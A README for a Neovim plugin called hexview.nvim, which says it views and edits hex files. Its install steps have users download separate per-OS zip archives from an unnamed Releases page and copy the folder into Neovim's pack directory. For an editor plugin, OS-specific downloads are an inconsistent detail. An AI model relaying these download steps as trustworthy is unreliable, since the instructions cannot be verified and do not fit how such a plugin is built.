🛠️ hexview.nvim - Edit Hex Files Easily in Neovim

🚀 Getting Started

Welcome to hexview.nvim, a Neovim plugin that allows you to edit hex files with ease. This guide will help you download and run the plugin without any technical know-how.

📥 Download hexview.nvim

You can download the latest version of hexview.nvim from our Releases page.

Download the plugin here: Download hexview.nvim

🛠️ Requirements

Before you begin, make sure you have the following:

• A computer running Windows, macOS, or Linux.
• Neovim installed on your system. You can download Neovim from the official site: Neovim.

📦 Installation Steps

Step 1: Visit the Releases Page

Go to the Releases page to find the latest version of the plugin:

Download hexview.nvim

Step 2: Download the Plugin

On the Releases page, you will see a list of available versions. Find the most recent version, which is usually at the top of the list.

Click on the version number to see the assets available for download.

Step 3: Choose the Correct File

Look for the file that matches your operating system:

• For Windows, download hexview.nvim-windows.zip.
• For macOS, download hexview.nvim-macos.zip.
• For Linux, download hexview.nvim-linux.zip.

Step 4: Extract the Files

Once the download is complete, locate the downloaded file on your computer.

• For Windows: Right-click the .zip file and select “Extract All.”
• For macOS and Linux: Double-click the .zip file to extract its contents.

After extraction, you will see a folder named hexview.nvim.

Step 5: Move the Plugin Folder

Now, you need to place the plugin folder into the Neovim configuration directory.

• Windows: Move the hexview.nvim folder to C:\Users\<YourUsername>\AppData\Local\nvim\site\pack\packer\start\
• macOS / Linux: Move the hexview.nvim folder to ~/.config/nvim/pack/packer/start/

Step 6: Open Neovim

Launch Neovim by opening your terminal or command prompt and typing:

nvim

Step 7: Confirm Installation

Once Neovim is open, type the following command:

:HexView

If the plugin installed correctly, you should see the hex editing mode appear.

🔍 Usage

Now that you've installed hexview.nvim, here’s how to use it:

• Open a hex file: Navigate to the desired file using the command:

:e path/to/yourfile.hex

• Enter hex editing mode: Type the command:

:HexView

From here, you can view and edit the hex contents of your file.

📖 Features

• Hex Formatting: View files in hex format, making it easier to check data patterns.
• Editing Capabilities: Edit hex values directly.
• User-Friendly Interface: Integration within Neovim keeps your workflow light and efficient.

🧩 Support

If you encounter any issues, please feel free to open an issue in the GitHub repository. We are here to help you!

🔗 Useful Links

• Repository
• Neovim

Now you are ready to start using hexview.nvim! If you have further questions, don't hesitate to reach out in the GitHub repository or consult the Neovim documentation. Enjoy editing your hex files!